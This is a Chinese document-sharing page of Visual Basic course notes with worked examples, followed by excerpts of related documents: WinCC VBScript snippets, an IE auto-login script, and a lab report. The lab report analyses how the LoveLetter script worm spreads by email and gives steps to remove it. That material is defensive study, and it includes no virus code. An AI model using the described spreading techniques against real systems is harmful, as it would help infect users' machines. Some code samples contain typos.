当前位置:文档之家› VB的特点

VB的特点

VB的特点
VB的特点

§1 VB的特点

1.可视化的设计平台

2.面向对象的设计方法

对象具有自己的属性(对象的性质)、方法(对象的动作)和事件(对象的响应),它构成对象的三个要素。

3.事件驱动的编程机制

4.集成化的开发环境

5.结构化的设计语言

§4 VB程序设计

VB应用程序的开发有三个步骤:

(1)设计应用程序界面。

(2)设置对象的属性

(3)编写事件驱动代码

保存工程

简便方法:

执行“文件/保存工程”命令

(第一次保存文件)系统先打开“文件另存为”对话框,保存窗体文件(或标准模块文件),然后再打开“工程另存为”对话框,保存工程文件。

保存修改后的工程文件

选择“文件/保存工程”命令保存所做的修改,(保存与工程有关的修改过的窗体文件或标准模块文件)。

VB基础知识

常量

(1)字符串常量

用双引号括起来的字符序列(除双引号和回车符)。

例如:

"China"

“I am a student.”

"95.3%"

"计算机软件"

(2)数值常量

整型 1234(十进制)

长整型 12345678(十进制)

单精度数:有三种形式,12.34,123!,123.45E-5

双精度数:有两种形式,12.34#,123.45D-5

在常数后面加上类型说明符:

%整型&长整型!单精度

#双精度$字符串型。

2.符号常量

格式:Const常量名 = 表达式

功能:定义一个符号常量来表示表达式的值。

说明:“常量名”可加以类型说明符。符号常量的类型由类型说明符或表达式的类型决定。

Const PI = 3.141593

变量

1.变量的命名

变量名以字母开头,后跟字母、数字和下划线组成

说明:

(1)变量名不能是保留字

(2)VB变量名不区分字母大小写。

2.变量的类型

(1)用类型说明符

在变量的尾部加上类型说明符:

% 整型 & 长整型 ! 单精度

# 双精度 $ 字符串型。

例如:Num%,Str1$均是合法的变量名

在引用时,可以省略类型说明符。

(2)定义变量时声明其类型

格式:Dim 变量名 As 类型

“类型”可为基本数据类型或用户自定义的类型。

Boolean(布尔型)Long(长整型)

Single(单精度型)Double(双精度型)

String(字符串型)Variant(变体型)

用户自定义类型

例如:

Dim str1 As String , country As String*20

Dim i As Integer , sum As Single

定义变量后,数值型变量的初值为0

字符型变量的初值为空字符串

其中:

变长字符串的初值是长度为0

定长字符串的初值的长度等于定义值。

3.变体类型变量

如未定义类型的变量

例如:Dim sum As Variant

Dim sum

运算符与表达式

1. 算术运算符(8种)

优先级(从高到低):

指数(∧)

取负(-)

乘法、浮点除法(* , /)

方法1:用文本框

例:Text1.Text=n

或 Text1=n

方法2:用标签

例:Label1.Caption = n

方法3:用Print方法

例:Print n

方法4:输出到列表框

例:List1.AddItem n

方法5:输出到文件

例:Open "abc.dat" For Output As #1

Write#1, n

【例】交换变量a、b的值。

用中间变量t作暂存单元,必须与交换的变量同类型。

t = a : a =b : b = t

3.2 窗体

窗体常用的方法Print,

窗体事件

1. Click事件

2. Load事件

Load是把窗体装入工作区事件,

Form_Load()事件是执行程序时自动触发的,因此常用来在启动程序时对属性和变量进行初始化。

3. UnLoad事件

关闭窗体触发该事件

选择结构

满足条件为“真”,用“True”表示;

不满足条件为“假”,用“Fals e”表示。

关系表达式

1. 关系运算符(6种)

= 、<>、<、>、<=、 >=

优先级相同,运算从左到右。

2. 关系表达式

例如:“apply” > “apple”

按ASCII码逐字符进行比较。

空格<“0”…“9”<“A”…“Z”<“a”…“z”

“apply” > “apple”结果为True

逻辑表达式

逻辑运算符:Not、 And、 Or

优先级:

逻辑非(Not)、逻辑与(And)、逻辑或(Or)注意:

表示:a≤x≤b

a <= x And x <= b

选择结构

1.单行If语句

If 条件 Then 语句组1 [Else 语句组2]

语句组:各语句间需用“:”分隔。

2.块结构If语句

If 条件 Then

语句块1

Else

语句块2

End If

例:计算分段函数

1+x (x≥0)

y=

1-2x (x<0)

If x>=0 Then

y=1+x

Else

y=1-2*x

End If

用单行If语句:

If x>=0 Then y=1+x Else y=1-2*x

或:

If x>=0 Then y=1+x

If x<0 Then y=1-2*x

3.多分支选择结构

I f 条件1 Then

语句块1

ElseIf 条件2 Then

语句块2

ElseIf 条件3 Then

语句块3

……

Else

语句块n+1

End If

从多个条件中,选择执行一个语句块

“纵然分支众多,仅选其一”

说明:

当有多个条件为真时,只能执行最前面的一个语句块。

注意:ElseIf之间不能有空格

【例】学生成绩判定。

Private Sub Command1_Click()

x =Val(InputBox("输入学生成绩:"))

If x >=90 Then

Print “优”

ElseIf x >=80 Then

Print “良”

ElseIf x >=70 Then

Print “中”

ElseIf x >60 Then

Print “及格”

Else

Print “不及格”

End If

End Sub

4.2.4 IIf函数

IIf是单行If语句的简单版本。

变量 = IIf(条件,True部分,False部分)注意:IIf函数中的三个参数都不能省略。

例:计算分段函数

1+x (x≥0)

y=

1-2x (x<0)

Private Sub Command1_Click()

Dim x As Single,y As Single

x= Val(Text1.Text)

y=IIf(x>=0,1+x,1-2*x)

Text2.Text = y

End Sub

【例】判闰年。

闰年的条件:

(1)被4整除,但不能被100整除;

(2)能被400整除。

最好:

If x Mod 400 = 0 Then

y$ = "是闰年"

ElseIf x Mod 4 = 0 And x Mod 100 <> 0 Then

y$ = "是闰年"

Else

y$ = "不是闰年"

End If

也可

x = Val(InputBox("输入年份"))

If x Mod 4 = 0and x Mod 100 <> 0 or x Mod 400 = 0 Then y$ = "是闰年"

Else

y$ = "不是闰年"

End If

4.Select Case语句

用于实现多分支结构。

Select Case 测试表达式

Case 条件1

语句块1

Case 条件2

语句块2

……

Case Else

语句块n+1

End Select

功能:

从多个条件中选择执行第一个符合条件的语句,都不符合,

则执行Case Else后的语句块。

注意条件:

常量表: 1,3,5

测试范围:10 to 20,“a” to “z”

比较范围:Is < 10

(不能为逻辑表达式)

【例】学生成绩评定

Private Sub Command1_Click()

x = Val(InputBox("输入考试成绩"))

Select Case x

Case 90 To 100

y$ = "优"

Case 80 To 89

y$ = "良"

Case 70 To 79

y$ = "中"

Case 60 To 69

y$ = "及格"

Case 0 To 59

y$ = "不及格"

Case Else

y$ = "输入错误"

End Select

Form1.Print "成绩:"; x, "等级:"; y$

End Sub

循环结构

“当型”循环:当条件为真,执行循环体。

“直到型”循环:做循环,直到条件为真为止。

1.For-Next循环

常用于循环次数已知。

For 循环变量 = 初值 To 终值 [Step步长]

循环体

[ Exit For ]

Next 循环变量

【例】计算n!。

Private Sub Command1_Click()

n = Val(InputBox("输入一个自然数"))

Term = 1

For i = 1 To n

Term = Term * i

Next i

Print n; "!="; Term

End Sub

【例】计算2 + 4 + 6 + …… + 100的值。

Private Sub Command1_Click()

Sum = 0

For x = 2 To 100 Step 2

Sum = Sum + x

Next x

Form1.Print "Sum="; Sum

End Sub

【例】计算1 + 2! + 3! + …… + 10!

Private Sub Command1_Click()

T = 1

S = 0

For k = 1 To 10

T = T * k

S = S + T

Next k

Print S

End Sub

2.While-Wend循环

适合处理循环次数未知的循环。

While 条件

语句块

Wend

功能:当条件为真时执行循环。

【例】计算1+2+3+……+100

Private Sub Command1_Click()

Dim n As Integer, s As Integer

s=0

n =1

While n<=100

s=s+n

n=n+1

Wend

Lable1.Caption=“1+2++3+……+100=”& s

End Sub

3.Do-Loop循环

Do

语句块

[Exit Do]

Loop [While|Until条件]

Do [While|Until条件]

语句块

[ Exit Do ]

Loop

功能:

While 条件——当“条件”为True执行循环体。

Until 条件——“条件”为False执行循环体。

如无条件,则为死循环。

说明:

格式1:“先循环,后判断”,至少执行一次循环。

格式2:“先判断,后循环”,如条件不满足,则一次循环也不执行。

【例】计算1+2+3+……+100

s=0

n =1

Do while n<=100

s=s+n

n=n+1

Loop

也可

s=0

n =1

Do Until n>100

s=s+n

n=n+1

Loop

【例】将十进制数转换为二进制数

Private Sub Form_Click()

Dim m As Integer

m = InputBox("enter m:")

a$ = ""

While m <> 0

r = m Mod 2

a$ = r & a$

m = m \ 2

Wend

Print a$

End Sub

注意:

a$ = a$ & r

则为:4=001

列表框

列表框的方法

AddItem方法:用于在列表框中插入一个列表项。

格式:

列表框. AddItem 项目字符串[,索引值]

如省略索引值,则在列表框的最后插入新列表项。

【例】将文本框内容添加到列表框1

Private Sub Command1_Click()

List1.AddItem Text1.Text

End Sub

多重循环

说明:

(1)必须完整嵌套,不得交叉。

(2)Exit For语句和Exit Do语句只能退出当前层循环。

指定每行显示数据的个数

For n=1 to 30

Print n; ” ”;

If n Mod 10 = 0 Then Print

Next n

' 每显示10个数据换行

常用算法(1)

1. 不定方程求解。

【例】百鸡问题

x+y+z=100

5x+3y+z/3=100

Private Sub Command1_Click()

Dim x As Integer

Dim y As Integer, z As Integer

Print "公鸡", "母鸡", "小鸡"

For x = 0 To 20

For y = 0 To 33

z = 100 - x - y

If 5 * x + 3 * y + z / 3 = 100 Then

Print x, y, z

End If

Next y

Next x

End Sub

2.求最大公约数和最小公倍数

辗转相除法:

【例】计算最大公约数和最小公倍数。

Private Sub Command1_Click()

Dim m As Integer, n As Integer

Dim u As Integer, v As Integer

m = Val(Text1.Text)

n = Val(Text2.Text)

If m > n Then

u = m: v = n

Else

u = n : v = m

End If

Do

r = u Mod v

u = v

v = r

Loop Until r = 0

Print "最大公约数:"; u

Print "最小公倍数:"; m * n / u

End Sub

r = u Mod v

Do While r<>0

u = v

v = r

r = u Mod v

Loop

Print "最大公约数:"; v

3.判素数(质数)

【例】判n是否为素数。

Private Sub Command1_Click()

Dim n As Integer, i As Integer

n = Val(InputBox("输入正整数"))

For i = 2 To n - 1

If n Mod i = 0 Then Exit For

Next i

If i > n - 1 Then

Print n; "是质数"

Else

Print n; "不是质数"

End If

End Sub

例求100~200之间素数,并写入顺序文件。

Private Sub Command1_Click()

Open “shusu.dat” For Output As #1

For n= 101 To 200 step 2

S=1 ‘是

For i = 2 To Int(Sqr(n))

If n Mod i = 0 Then

S=0 ‘不是

Exit For

End If

Next I

If s=1 Then Write#1, n

Next n

close #1

End Sub

添加到列表框:

List1.AddItem n

数组

6.1 静态数组

编译时分配存储空间。

定义:Dim b(3,4)As Long

分配4×5个长整型变量的空间,二维数组在内存按行的顺序存放

例如:

Dim Test() As Integer

Dim n As Integer

Sub Form_click()

……

n=InputBox(”Enter a value:”)

ReDim Test(n)

……

End Sub

数组元素的引用

形式:数组名(下标)

数组元素赋初值

运行前对数组进行初始化。

格式:数组变量名=Array( 初值表)

说明:数组下标下界缺省为0,只能对一维数组初始化【例】

Dim a As As Variant

a=Array(1,2,3,4,5,6,7)

注意:下标从0~6

【例】一维数组元素赋初值。

Option Base 1

Private Sub Form_Click()

Dim a As Variant

a = Array(1, 2, 3, 4, 5, 6, 7)

For i = 1 To 7

Print a(i);

Next i

End Sub

运行结果:

1 2 3 4 5 6 7

数组输入/输出

一般通过For循环语句和InputBox函数实现,一维数组用单重循环。

二维数组采用双重循环。

【例】一维数组的输入和输出。

For i = 1 To 10

a(i) = InputBox("Enter data:")

Next i

【例】二维数组的输入和输出。

1 2 3

4 5 6

7 8 9

For i = 1 To 3

For j = 1 To 3

a(i, j) = InputBox("enter data:")

Next j

Next i

For i = 1 To 3

For j = 1 To 3

Print a(i, j); " ";

Next j

Print

Next i

【例】用Rnd产生10个0~100之间随机数。

For i = 1 To 10

a(i) = Int(100 * Rnd)

Next i

用户自定义类型

定义格式:

Type 自定义类型名

元素名1 As 类型名

元素名2 As 类型名

……

元素名n As 类型名

End Type

其中:

类型名——可为任何基本类型,也可为用户自定义类型。

说明:

(1)一般在标准模块中定义,默认为Public。

如在窗体模块的“声明”段定义,则必须加上Private,

且只能在窗体模块中使用。

(2)自定义类型中的元素可以为数组名。

【例】

Private Type student

num As String * 8

name As String * 8

total As Integer

average As Integer

End Type

1.自定义类型变量的声明

Dim 变量名 As 自定义类型名

例如:

Dim stud As Student

2.引用自定义类型变量中的元素

形式:变量名 .元素名

3.自定义类型数组的声明和使用

声明:Dim st(5) As Student

引用形式:

记录数组元素.成员名

【例】输入5个学生的学号、姓名、和3门课的成绩,利用自定义类型数组,计算每个学生的总分和平均分,并按平均成绩从高到低输出学生的成绩单。

Private Type student

no As String * 6

name As String * 6

s1 As Single

s2 As Single

s3 As Single

total As Single

aver As Single

End Type

Private Sub Form_Click()

Dim a(1 To 5) As student, t As student

Open “stud.dat” For Output As #1

… Open “stud.dat” For Random A s #2 Len= Len(t) 打开随机文件

……

n = 5

For i = 1 To n

a(i).total=a(i).s1+a(i).s2 + a(i).s3

a(i).aver = a(i).total / 3

Next i

For i = 1 To n - 1

For j = i + 1 To n

If a(i).aver < a(j).aver Then

t = a(i)

a(i) = a(j)

a(j) = t

End If

Next j

Next i

Print " 学号姓名语文数学英语总分平均分"

For i = 1 To n

Print Tab(2); a(i).no; Tab(10); a(i).name; Tab(18); a(i).s1; " ";

Print a(i).s2; " "; a(i).s3; " "; a(i).total; " "; a(i).aver

Write#1,a(i).no,a(i).name,a(i).s1, a(i).s2,a(i).s3,a(i).total, (i).aver

… Put#2,i, a(i) 写入随机文件

Next i

Close#1

End Sub

注意: 写入文件一行一个记录

运行结果

说明:

交换两个记录数组元素的值,则该记录数组元素的所有成员都将交换。

6.7 常用算法(2)

1. 求最大值和最小值

【例】找10个数中的最大值与最小值。

For i = 1 To 10

If a(i) > Max Then Max = a(i)

If a(i) < Min Then Min = a(i)

Next i

6.7.2排序

升序:从小到大

降序:从大到小

1.比较交换法

For i = 1 To n - 1

For j = i + 1 To n

If a(i) > a(j) Then

t = a(i)

a(i) = a(j)

a(j) = t

End If

Next j

Next i

2.选择法排序

For i = 1 To n - 1

p = i

For j = i + 1 To n

If a(p) > a(j) Then p = j

Next j

t = a(i)

a(i) = a(p)

a(p) = t

Next i

3.冒泡法排序

特点:相邻的两个元素进行比较

For i = 1 To n - 1

For j = 1 To n - i

If a(j) > a(j + 1) Then

t = a(j)

a(j) = a(j + 1)

a(j + 1) = t

End If

Next j

Next i

查询

1. 顺序查询

从一组数据中,按顺序地查找指定的数据。【例】用顺序查询法在下列数据中查找关键字值……

k = Val(InputBox("输入要查询的数"))

p = 1

While k <> a(p) And p < n

p = p + 1

Wend

If k = a(p) Then

Print k; "be found,on"; p; "th position." Else

Print k; "has not be found."

End If

2 折半查询

折半查找也称为二分法查询

只能对有序数列进行查询。

【例】用折半查询法查找关键字值66。

-123,-10,5,8,30,56,59,66,90,518

Option Base 1

Private Sub Form_Click()

Dim a As Variant

a = Array(-123, -10, 5, 8, 30, 56, 59, 66, 90, 518)

n = UBound(a)

Print "数组a中的10个数为:"

For Each ii In a

Print ii; " ";

Next ii

Print

k = Val(InputBox("输入要查询的数"))

Print "要查询的数是:"; k

low = 1

hig = n

find = -1

While low <= hig And find = -1

m = (low + hig) \ 2

If k = a(m) Then

find = 1

Print k; "has be found,on"; m; "th position."

Else

If k < a(m) Then

hig = m - 1

Else

low = m + 1

End If

End If

Wend

If find = -1 Then

Print k; "has not be found."

End If

End Sub

注意:若数据按降序排列

If k < a(m) Then

low = m + 1

Else

hig = m - 1

End If

VB函数大全_基本函数大全

VB函数大全_基本函数大全 Abs 函数返回数的绝对值。 And 运算符执行两个表达式的逻辑连接。 Array 函数返回含一数组的变体。 Asc 函数返回字符串首字母的ANSI 字符代码。 赋值运算符(=) 给变量或属性赋值。 Atn 函数返回数的反正切值。 调用语句将控制移交Sub 或Function 过程。 CBool 函数返回已被转换为Boolean 子类型的变体的表达式。 CByte 函数返回已被转换为字节子类型的变体的表达式。 CCur 函数返回已被转换为货币子类型的变体的表达式。 CDate 函数返回已被转换为日期子类型的变体的表达式。 CDbl 函数返回已被转换为双精度子类型的变体的表达式。 Chr 函数返回指定ANSI 字符码的字符。 CInt 函数返回已被转换为整数子类型的变体的表达式。 Class 对象提供对已创建的类的事件的访问。 Class 语句声明类名 Clear 方法清除Err 对象的所有属性设置。 CLng 函数返回已被转换为Long 子类型的变体的表达式。 颜色常数颜色常数列表。 比较常数用于比较运算的常数列表。 连接运算符(&) 强制两个表达式的字符串连接。 Const 语句声明用于字母值的常数。 Cos 函数返回角度的余弦值。 CreateObject 函数创建并返回对“自动”对象的引用。 CSng 函数返回已被转换为单精度子类型的变体的表达式。 CStr 函数返回已被转换为字符串子类型的变体的表达式。 日期和时间常数在日期和时间运算中用来定义星期几和其他常数的常数列表。日期格式常数用于日期和时间格式的常数列表。 Date 函数返回当前系统日期。 DateAdd 函数返回加上了指定的时间间隔的日期。 DateDiff 函数返回两个日期之间的间隔。 DatePart 函数返回给定日期的指定部分。 DateSerial 函数返回指定年月日的日期子类型的变体。 DateValue 函数返回日期子类型的变体。 Day 函数返回日期,取值范围为1 至31。 Description 属性返回或者设置说明某个错误的字符串。 Dictionary 对象存储数据键、项目对的对象。 Dim 语句声明变量并分配存储空间。 除法运算符(/) 两数相除并以浮点数格式返回商。 Do...Loop 语句当条件为True 或者当条件变为True 时,重复一语句块。Empty 表示尚未初始化的变量值。 Eqv 运算符使两个表达式相等。 Erase 语句重新初始化固定数组的元素并重新分配动态数组的存储空间。 Err 对象含有关于运行时错误的信息。 Eval 函数计算并返回表达式的值。 Execute 方法根据指定的字符串,执行正则表达式的搜索。 Execute 语句执行单个或更多的指定语句。 Exit 语句退出Do...Loop、For...Next、Function 或Sub 代码块。 Exp 函数返回e (自然对数的底)的多少次方。 自乘运算符(^) 指数函数,幂为自变量。 False 关键字,其值为零。

VB编程实例

一、导入到Xls文件并打印 Sub OnLButtonUp(ByVal Item, ByVal Flags, ByVal x, ByVal y) Dim a,fso a=HMIRuntime.Tags("fileName").Read Set fso = CreateObject("scripting.filesystemobject") If fso.FileExists("C:\Model.xls") Then Dim objExcelApp Set objExcelApp = CreateObject("Excel.Application") objExcelApp.Visible = False objExcelApp.Workbooks.Open "C:\Model.xls" objExcelApp.Cells(2, 3).Value = HMIRuntime.Tags("NewTag1_1").read objExcelApp.Cells(4, 5).Value = HMIRuntime.Tags("NewTag1_2").read objExcelApp.Cells(6, 7).Value = HMIRuntime.Tags("NewTag1_3").read objExcelApp.Cells(8, 9).Value = HMIRuntime.Tags("NewTag1_4").read objExcelApp.Cells(10, 11).Value = HMIRuntime.Tags("NewTag1_5").read objExcelApp.ActiveWorkbook.SaveAs("C:\Report\"&CStr(a)&".xls") objExcelApp.ActiveWorkbook.PrintOut

vb脚本

附录B.VBScript脚本函数简介 序号 内容 画面脚本全局脚本 页码 B01 运行数据库 33 3 B02 动态画面 337 B03 实时报表 337 B04 变量报警 337 B05 系统信息 339 B06 配方文件 339 B07 系统操作 3310 B08 当前时间 3311 B09 画面属性(1) 3°11 B10 线/矩形/圆形 3°13 B11 文本/变量 3°15 B12 多边形 3°16 B13 折线 3°19 B14 立体图形 3°20 B15 普通按钮 3°21 B16 圆形按钮 3°22 B17 三角按钮 3°23 B18 图标按钮 3°24 B19 定时器 3°25 B20 位图 3°25 B21 多选框 3°25 B22 单选框 3°26 B23 动画 3°26 B24 信息列表 3°26 B25 用户数据库 3327 B26 SQL命令 3329 B27 用户报表 3329 B28 流动管道 3°30 B29 子画面窗口 3°30 B30 转轮 3°31 B31 标签 3°31 B32 列表框 3°32 B33 数据库连接 3332 B34 配方操作按钮 3°32 B35 报表打印按钮 3°33

B36 报警状态按钮 3°33 B37 系统信息查询按钮 3°34 B38 报警信息查询按钮 3°34 B39 存档数据查询按钮 3°34 B40 存档曲线查询按钮 3°34 B41 用户管理 3334 B42 子窗口容器 3°35 B43 Gif图片 3°35 B44 实时曲线 3°35 B45 屏幕打印 3°36 B46 画面操作(2) 3°36 B47 行打印 3337 B48 INI文件 3338 B49 数据转换 3339 B50 数据库查询按钮 3°39 B51 串口操作 3340 B52 数据库列表 3°41 B53 报警状态列表 3°41 B54 表格控件 3°42 B55 保留 3°43 B56 数据选择 3°43 B57 选择框 3°44 B58 选择列表 °°44 B59 自定义菜单 3°44 B60 字符串 3°45 B61 时间间隔 3°46 B62 存储过程 3346 B63 曲线查询按钮 3°47 B64 窗口操作 3°48 B65 文件操作 3352 B66 文本文件 3353 B67 TCP通讯 3354 B68 UDP通讯 3355 B69 MSN信息 3°56

VBS脚本参考

VBS脚本参考之一——使用连字符2007年06月14日星期四下午08:35前言 这一章的前半部分介绍了VB 脚本最基本的概念,并且告诉你它可以完成的工作,尤其是VBS和其它的如WMI、ADSI 接合在一起的时候。后半部分主要介绍了VBS对系统管理员更有用的部分。 许多脚本和程序语言在向文本输入的时候并不严格的遵守文本的行。例如,尽管下面这个JS 脚本写了很多行,但是,JS 把它当做一行来处理。这是因为,在大部分的时候,JS 只有看到中止符的时候才认为使一个行的中止。在这个例子中,中止符就是“;”。在实际中敲入的行是和脚本本身不相关的。 var 作者:临汾市外事旅游局薛靖澜,转载请注明出处] objWMI =new Enumerator (GetObject("winmgmts:") . InstancesOf("Win32_process")) ; 正好相反,同样的一段代码,用VB 写的时候就会报一个语法错误。 Set objWMI = (GetObject("winmgmts:") . InstancesOf("Win32_process")) 这是因为,VBS用回车键来代替特定的中止符。为了中止一个VB脚本,你不需要来敲入一个分号或者其它的特殊的符号,你只需要敲回车键就好了。一般来讲,不用中止符的限制,使VBS 在编写的过程中变的简单,但是也有一点会有些复杂。为了增强程序的可读性,建

议每行的最大长度不超过80个字符。那么当你的一行代码中有100 个字符,怎么办呢?尽管看来好象有个很简单的解决办法,但是你不能用回车键来将一行代码分隔成很多行。例如如下的代码片断会返回一个VB 运行错误因为它用回车键来分隔脚本 strMessageToDisplay = strUserFirstName, strUserMiddleInitial, strUserLastName, strCurrentStatus Wscript.Echo strMessageToDisplay 你不能用回车建来换行,因为在VB 中它认为回车是代表一段代码的中止,在上面的代码中,它认为第一行是脚本的第一部分陈述内容。然后认为第二行是另外一部分陈述内容。这样因为strCurrentStatus 不是一个VBS的命令,所以就报错了。为了解决这个问题,VB 脚本用下划线来表示下面一行是上面一行的代替。在VB 的早期修订版本中,在第一行末尾加一个空格和一个下划线来表示第二行是第一行的继续。为更明确的表明这个意思,第二行前面要加四个空格。(这样作是为了可读,你其实不必在继续的行前作特定的标识──就是不用在第二行前加四个空格。)作者:临汾市外事旅游局薛靖澜,转载请注明出处] strMessageToDisplay = strUserFirstName, strUserMiddleInitial, strUserLastName, _ strCurrentStatus Wscript.Echo strMessageToDisplay 当继续的行又引号的时候,它就显的特别复杂。例如,架设你用下划线和空格来分隔一个WMI脚本: Set colServiceList = GetObject("winmgmts:").ExecQuery("SELECT * FROM _ Win32_Service WHERE State = 'Stopped' AND StartMode = 'Auto' ") 如果你运行这个脚本,它会弹出一个错误,因为继续换行符放在了引号中间了,这样它就认为换行符是字符串的一部分。为了分隔这个陈述: 1:在第一行用引号中止,然后插入空格和下划线 2:用and(&)符号来开始下一行,这表示第二行是第一行字符串的继续 3:在下一行开始之前加入引号这些引号表示这些陈述是包涵在上面的一行中的,没有了引号,它就VB就解释Win32_Service 是VB 的陈述语句,因为这个语句不是合法的,所以就产生了错误。修正的版本如下: Set colServiceList = GetObject("winmgmts:").ExecQuery("SELECT * FROM " _

VB操作wincc脚本心得

Vbs 操作wincc画面脚本总结 一:不使用变量单纯的操作界面 1.操作某个画面中控件的属性如Home1.Pdl(总窗体)下的画面窗口2(画面窗口) Sub OnClick(ByVal Item) Dim objCircle Dim screenname Dim pwname Set objCircle= ScreenItems("圆1" ) objCircle.Radius = 60 Set screenname=HMIRuntime.Screens("Home1") //获取要操作的窗体 Set pwname=screenname.ScreenItems("画面窗口2") //获取要操作的控件,这里填入你要操作的控件名 MsgBox(objCircle.Radius) //输出圆的半径 MsgBox (pwname.Picturename) //输出当前画面窗口2的名字 End Sub 注意当调用某窗体下的某控件的某个属性时,需要声明两个对象,一个接纳这个控件,一个接纳值例如 Dim object Dim value Set object =HMIRuntime.Screens("Home1").ScreenItems("画面窗口2") Set value=object.picturename 2.更改画面窗口的对象 Sub OnClick(Byval Item) Dim opObject Set opObject=HMIRuntime.Screens ("Home1").ScreenItems("画面窗口2") opObject.PictureName="Page1.Pdl" End Sub 3.设置文本 Set titleTxt=HMIRuntime.Screens ("Home1").ScreenItems("静态文本2") titleTxt.Text =titleTxt.Text+"EF" //获取文本的值并追加字符 4.vb 字符串函数 VB的字符串截取函数有Left(字符串,n),返回字符串前N个字符;Mid(字符串,p,n),从第p个字符开始,向后截取N个字符;right(字符串,n),返回字符串的最后n个字符。 获取下标

VB脚本处理字符串注意事项

在处理脚本中的字符串时应该注意什么?
组态注意事项: 下面说明了关于在 C 脚本中处理字符串时最重要的问题。必须考虑性能和稳定性因素。在不一致时,内存区可能被覆写,从而使系统 锁死 。 最坏的情况出现在字符指针。如果指针设计不当,内存区可能被覆写。下面是有关错误和正确组态的四个样例。
No. 描述: 1
没有预留内存区: char *a; a=GetTagChar("Tag name");
strcat(a,"xyz"); //有一个连接到文本的指针“a” //没有预留内存区
?
正确: 通过查询有效的指针将字符串正确复制到预定义的缓冲器中(来自描述 WinCC 信息系统的样例): char* pszValue = NULL; char szValue[101]; pszValue = GetTagChar("Varname"); //读标签值并将其缓存到 pszValue。
/*如果返回一个有效值, 将该函数返回值存入局部字符串 szValue 中。 最多保存 100 个字符。*/ if(pszValue !=NULL) //!=NULL 是必须执行的检查 //以便保证没有 NULL 指针提交 { strncpy(szValue,pszValue,100); ... } else { printf("Pointer invalid\r\n"); //使用了无效值} }
?
2 没有预留足够的内存区: 通常,由于预留的内存区太小导致内存被覆写。在这些情况下,通常在 C 中进行字符串处理时,文本结尾的一个附加字符必须始 终被保留。也就是说,必须要比被处理的文本长度多预留出一个字符。
?
错误: char a[4]; strcpy(a,"1234"); //总是有 4 个字符被复制到一个 4 字符的数组中; // 错误:文本的结尾字符被遗漏
?
正确: char a[5];

后台自动登录网页vb脚本实例代码

set IE=createobject("Internetexplorer.application") IE.Visible = True IE.Navigate "https://https://www.doczj.com/doc/c2382353.html,/login.htm" ‘等待网页加载完成 While IE.busy Or IE.readystate<>4 Wend '从网页元素中找到设置的元素,并赋值 '因为form没有name或id,只能从document的collection里取forms集合 '再从中定位输入框和提交按钮 IE.Document.Forms(0).elements("name").value = "aaaa" IE.Document.Forms(0).elements("passwd").value = "1111" IE.Document.Forms(0).elements("Send").click '登录后界面是框架结构,先等主框架加载完成 While IE.busy Or IE.readystate<>4 Wend '等框架内网页1加载完成 While IE.busy Or IE.Document.Frames(1).document.readystate<>"complete" Wend '点击一个图片按钮/链接,需要先定位到框架内,再从document的collection里取images集合IE.Document.Frames(1).document.images(3).click '等主框架加载完成 While IE.busy Or IE.readystate<>4 Wend '等框架内网页2加载完成 While IE.busy Or IE.Document.Frames(2).document.readystate<>"complete" Wend '定位select控件,并作出选择

实验4 VB脚本病毒.

XI`AN TECHNOLOGICAL UNIVERSITY 实验报告

实验目的 1.了解VB脚本病毒的工作原理 2.了解VB脚本病毒常见的感染目标和感染方式 3.掌握编写VB脚本病毒专杀工具的一般方法 实验原理 一.脚本病毒概述 脚本程序的执行环境需要WSH(WINDOWS SCRIPT HOST,WINDOWS脚本宿主)环境,WSH为宿主脚本创建环境。即当脚本到达计算机时,WSH充当主机的部分,它使对象和服务可用于脚本,并提供一系列脚本执行指南。 脚本病毒的主要特点: (1)由于脚本是直接解释执行,可以直接通过自我复制的方式感染其它同类文件,并且使异常处理变得非常容易。 (2)脚本病毒通过HTML文档、EMAIL附件或其它方式,可以在很短的时间内传遍世界各地,通常是使用在邮件附件中安置病毒本体的方法,然后利用人们的好奇心,通过邮件主题或邮件内容诱骗人们点击附件中的病毒体而被感染。 (3)新型的邮件病毒邮件正文即为病毒,用户接收到带毒邮件后,即使不将邮件打开,只要将鼠标指向邮件,通过预览功能病毒也会被自动激活。 (4)病毒源码容易被获取,变种多。 (5)欺骗性强。 二.爱虫病毒分析 1.病毒简介 “爱虫”(VBS.LOVELETTER)病毒从2000年5月4日开始在欧洲大陆迅速传播,并向全世界蔓延。其传播原理是通过MICROSOFT OUTLOOK将名为“LOVE-LETTER-FOR-YOU.TXT.VBS”的邮件发送给用户地址薄里所有的地址。 当病毒运行后会在系统中留下以下文件: (1)\WINDOWS\WIN32DLL.VBS; (2)\SYSTEM\MSKERNEL.VBS; (3)\SYSTEM\LOVE-LETTER_FOR_YOU.TXT.VBS。 2.病毒的杀毒步骤 (1)在WINDOWS下查看进程列表中是否有WSCRIPT这个文件,如有此文件说明已经感染。将该文件“结束任务”。 (2)进入C:\WINDOWS\SYSTEM中,运行MSCONFIG.EXE选择“启动”模板,将所有的后缀为“*.VBS”的文件选择为禁用状态。 (3)在保证内存中无WSCRIPT这个文件后,重启计算机。 (4)查找一个叫WIN-BUGFIX.EXE的文件并删除它,如果安装了MIRC则删除SCRIPT.INI文件,删除含LOVE-LETTER-FOR-YOU.TXT附件的EMAIL。 (5)打开注册表编辑器并删除下列键值: 3.病毒各模块功能介绍 爱虫病毒的结构化做得很好,各个模块功能非常独立,彼此并不相互依赖,流程也非常清楚,下面对每个函数过程的功能作一简单介绍。 (1)MAIN 爱虫病毒的主模块,它集成调用其它各个模块。

WinCC上可以很方便的编写VB脚本和C脚本

WinCC上可以很方便的编写VB脚本和C脚本,但是调试起来还是比较费劲的。下面介绍一下个人的应用体会。 1,VB,最好安装VB6,先在VB6里面编写程序,然后再放到WinCC的脚本中,事半功倍,毕竟VB的调试非常方便。 a,插入引用 注意选择OLE Automation 和WinCC *****; b,可以直接在VB里面调用WinCC的全部变量,内部,外部全可以: 如下: c,在VB里面监视WinCC的变量:

d,调试完毕,程序拷贝到WinCC的脚本中。 2,C语言 系统提供了一个应用程序窗口,如下,只要把他拖到画面窗口即可: 2,使用Printf函数,把需要调试的内容打印出来;

